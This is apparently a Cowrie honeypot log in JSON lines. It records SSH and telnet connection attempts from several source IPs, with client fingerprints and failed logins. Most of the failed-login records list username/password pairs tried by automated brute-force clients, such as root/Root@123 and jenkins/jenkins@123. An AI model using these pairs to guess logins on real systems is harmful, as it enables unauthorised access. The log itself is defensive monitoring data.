{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:16.198740Z","src_ip":"45.153.34.112","session":"c3b61f4b00b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57304,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d3f2e77294c","protocol":"telnet","message":"New connection: 192.119.13.58:57304 (10.17.0.5:23) [session: 8d3f2e77294c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:16.650994Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58354,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0adb73f250","protocol":"telnet","message":"New connection: 192.119.13.58:58354 (10.17.0.5:23) [session: 9a0adb73f250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:16.841181Z"}
{"eventid":"cowrie.session.closed","duration":49.491212368011475,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:17.130313Z","src_ip":"192.119.13.58","session":"243ce1d8891c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:17.442168Z","src_ip":"45.153.34.112","session":"c3b61f4b00b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.394065380096436,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:19.063579Z","src_ip":"192.119.13.58","session":"0599d9f38e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50848,"dst_ip":"10.17.0.5","dst_port":22,"session":"862134458780","protocol":"ssh","message":"New connection: 45.153.34.112:50848 (10.17.0.5:22) [session: 862134458780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:19.441302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:19.448914Z","src_ip":"45.153.34.112","session":"862134458780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:19.535612Z","src_ip":"45.153.34.112","session":"862134458780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:20.032582Z","src_ip":"45.153.34.112","session":"862134458780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:21.119578Z","src_ip":"45.153.34.112","session":"862134458780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.70325994491577,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:21.914611Z","src_ip":"192.119.13.58","session":"bda2fe5c9b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":55544,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a69d0ac2a64","protocol":"ssh","message":"New connection: 77.94.47.83:55544 (10.17.0.5:22) [session: 6a69d0ac2a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.268449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.273597Z","src_ip":"77.94.47.83","session":"6a69d0ac2a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57950,"dst_ip":"10.17.0.5","dst_port":22,"session":"c148149dc356","protocol":"ssh","message":"New connection: 45.153.34.112:57950 (10.17.0.5:22) [session: c148149dc356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.382733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.390938Z","src_ip":"45.153.34.112","session":"c148149dc356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.422973Z","src_ip":"77.94.47.83","session":"6a69d0ac2a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.476372Z","src_ip":"45.153.34.112","session":"c148149dc356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.90350079536438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.566747Z","src_ip":"192.119.13.58","session":"84e7f83a5a19","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.734858Z","src_ip":"45.153.34.112","session":"c148149dc356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil123","message":"login attempt [root/danil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:23.799688Z","src_ip":"77.94.47.83","session":"6a69d0ac2a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:24.926414Z","src_ip":"77.94.47.83","session":"6a69d0ac2a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:24.978380Z","src_ip":"45.153.34.112","session":"c148149dc356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38092,"dst_ip":"10.17.0.5","dst_port":23,"session":"93981e655f80","protocol":"telnet","message":"New connection: 192.119.13.58:38092 (10.17.0.5:23) [session: 93981e655f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:25.502468Z"}
{"eventid":"cowrie.session.closed","duration":40.416197776794434,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:26.007689Z","src_ip":"192.119.13.58","session":"9a8a2e50f97f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57958,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6a8e808269","protocol":"ssh","message":"New connection: 45.153.34.112:57958 (10.17.0.5:22) [session: 1b6a8e808269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:26.986744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:26.994002Z","src_ip":"45.153.34.112","session":"1b6a8e808269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:27.183095Z","src_ip":"45.153.34.112","session":"1b6a8e808269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46308,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d0771562d88","protocol":"telnet","message":"New connection: 192.119.13.58:46308 (10.17.0.5:23) [session: 7d0771562d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:27.374454Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:27.523708Z","src_ip":"45.153.34.112","session":"1b6a8e808269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47972,"dst_ip":"10.17.0.5","dst_port":23,"session":"427d0b042da7","protocol":"telnet","message":"New connection: 192.119.13.58:47972 (10.17.0.5:23) [session: 427d0b042da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:27.736298Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":41954,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c294017758d","protocol":"ssh","message":"New connection: 43.130.36.39:41954 (10.17.0.5:22) [session: 6c294017758d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:28.022289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:28.027848Z","src_ip":"43.130.36.39","session":"6c294017758d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:28.100439Z","src_ip":"43.130.36.39","session":"6c294017758d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123","message":"login attempt [vpn/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:28.406400Z","src_ip":"43.130.36.39","session":"6c294017758d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:28.609439Z","src_ip":"45.153.34.112","session":"1b6a8e808269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:29.488555Z","src_ip":"43.130.36.39","session":"6c294017758d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":56504,"dst_ip":"10.17.0.5","dst_port":22,"session":"83c8a3d49d32","protocol":"ssh","message":"New connection: 43.173.122.127:56504 (10.17.0.5:22) [session: 83c8a3d49d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:30.688877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:30.693637Z","src_ip":"43.173.122.127","session":"83c8a3d49d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:30.762043Z","src_ip":"43.173.122.127","session":"83c8a3d49d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38608,"dst_ip":"10.17.0.5","dst_port":22,"session":"e855cd60185b","protocol":"ssh","message":"New connection: 45.153.34.112:38608 (10.17.0.5:22) [session: e855cd60185b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:30.878003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:30.888997Z","src_ip":"45.153.34.112","session":"e855cd60185b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:30.973419Z","src_ip":"45.153.34.112","session":"e855cd60185b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fr33d0m","message":"login attempt [root/fr33d0m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:31.067427Z","src_ip":"43.173.122.127","session":"83c8a3d49d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:31.221976Z","src_ip":"45.153.34.112","session":"e855cd60185b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.142949Z","src_ip":"43.173.122.127","session":"83c8a3d49d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":32806,"dst_ip":"10.17.0.5","dst_port":22,"session":"360553b6ba5c","protocol":"ssh","message":"New connection: 186.68.83.105:32806 (10.17.0.5:22) [session: 360553b6ba5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.232992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.237861Z","src_ip":"186.68.83.105","session":"360553b6ba5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":38040,"dst_ip":"10.17.0.5","dst_port":22,"session":"617175dbcf49","protocol":"ssh","message":"New connection: 170.106.177.3:38040 (10.17.0.5:22) [session: 617175dbcf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.245670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.250436Z","src_ip":"170.106.177.3","session":"617175dbcf49","protocol":"ssh"}
